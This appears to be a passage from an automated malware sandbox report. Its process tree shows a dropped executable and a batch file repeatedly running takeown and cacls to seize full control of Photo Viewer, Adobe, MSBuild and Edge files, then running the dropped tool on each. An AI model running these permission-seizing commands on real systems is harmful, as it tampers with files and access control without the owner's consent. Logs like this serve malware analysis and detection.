C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ImagingDevices.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Mail\wabmig.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\wabmig.exe"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "wabmig.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "wabmig.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-V"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "Identity-V" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "Identity-V" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\fr-CA.pak.DATA""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\fr-CA.pak.DATA" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\ResiliencyLinks\Locales\fr-CA.pak.DATA"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "fr-CA.pak.DATA" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "fr-CA.pak.DATA" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\fr-FR\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "Workflow.Targets" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "Workflow.Targets" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Resource\CMap\Identity-H"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "Identity-H" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "Identity-H" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\Download\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\139.0.3405.125\MicrosoftEdge_X64_139.0.3405.125.exe""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\Download\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\139.0.3405.125\MicrosoftEdge_X64_139.0.3405.125.exe" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\Download\{56EB18F8-B008-4CBD-B6D2-8C97FE7E9062}\139.0.3405.125\MicrosoftEdge_X64_139.0.3405.125.exe"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "MicrosoftEdge_X64_139.0.3405.125.exe" -nobanner3⤵
-
